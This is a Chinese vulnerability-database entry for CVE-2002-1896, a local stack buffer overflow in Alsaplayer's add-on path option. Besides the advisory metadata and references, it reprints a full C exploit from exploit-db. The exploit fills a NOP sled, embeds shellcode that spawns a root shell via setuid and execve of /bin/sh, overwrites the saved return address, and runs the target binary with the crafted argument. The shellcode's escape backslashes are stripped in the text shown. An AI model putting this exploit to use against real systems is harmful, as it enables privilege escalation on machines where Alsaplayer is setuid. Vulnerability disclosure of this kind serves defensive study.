Alsplayer本地缓冲区溢出漏洞

79次阅读
没有评论

Alsplayer本地缓冲区溢出漏洞

漏洞ID 1106981 漏洞类型 边界条件错误
发布时间 2002-09-20 更新时间 2005-10-20
Alsplayer本地缓冲区溢出漏洞CVE编号 CVE-2002-1896
Alsplayer本地缓冲区溢出漏洞CNNVD-ID CNNVD-200212-841
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21814
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-841
|漏洞详情
Alsaplayer是一款利用ALSA库和驱动的PCM播放器,可使用在Linux和Unix操作系统下。Alsaplayer在处理”add-onpath”选项时存在问题,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。Alsaplayer在处理超长”add-onpath”选项数据时缺少正确的边界缓冲区检查,本地攻击者利用这个漏洞可以破坏Alsaplayer堆栈内容,造成Alsaplayer崩溃,Alsaplayer默认不以setuid属性安装,但根据作者建议,要增加部分功能必须增加S位。
|漏洞EXP
source: http://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality. 

/*
 * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
 *
 * This program is not installed with special permissions by default.
 * However, the author himself does recommend to do so under certain
 * conditions:
 *
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
 *
 * Author: zillion[at]safemode.org (09/2002)
 *
 * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"xebx26x5ex31xc0x89xc3x89xc1x89xc2xb0xa4xcdx80"
"x31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xd5xffxffxff"
"x2fx62x69x6ex2fx73x68";

void print_error(char * burb) {
  printf(" Error: %s !n",burb); exit(0);
}

void usage(char *progname) {
  printf("n*--- -- -  Alsaplayer b0f exploit - -- ---*n");
  printf("nDefault: %s  -f /path/to/alsaplayer",progname);
  printf("nOption : %s  -o <offset>nn",progname);
  exit(0);
}

int main(int argc, char **argv){

  char buffer[BUFFER_SIZE];
  char file[30];
  long retaddress;
  int arg,offset=500;

  struct stat sbuf;

  if(argc < 2) { usage(argv[0]); }

  while ((arg = getopt (argc, argv, "f:o:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :
      usage(argv[0]);
    }
  }

  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

  if(execl(file,file,"-p",buffer,NULL) != 0) {
    print_error("Could not execute alsaplayer ");
  }

  return 0;

}
|参考资料

来源:BID
名称:5767
链接:http://www.securityfocus.com/bid/5767
来源:XF
名称:alsaplayer-command-line-bo(10157)
链接:http://www.iss.net/security_center/static/10157.php
来源:FULLDISC
名称:20020920Alsasoundlocalb0f(notanissueifnotsetuidroot)
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2002-September/001730.html
来源:cvs.sourceforge.net
链接:http://cvs.sourceforge.net/viewcvs.py/alsaplayer/alsaplayer/app/Main.cpp.diff?r1=1.66&r2;=1.67
来源:alsaplayer.org
链接:http://alsaplayer.org/changelog.php3
来源:NSFOCUS
名称:3573
链接:http://www.nsfocus.net/vulndb/3573

相关推荐: SkyStream Edge Media Router IP Traffic Flood Denial Of Service Vulnerability

SkyStream Edge Media Router IP Traffic Flood Denial Of Service Vulnerability 漏洞ID 1101394 漏洞类型 Failure to Handle Exceptional Condi…

正文完
 0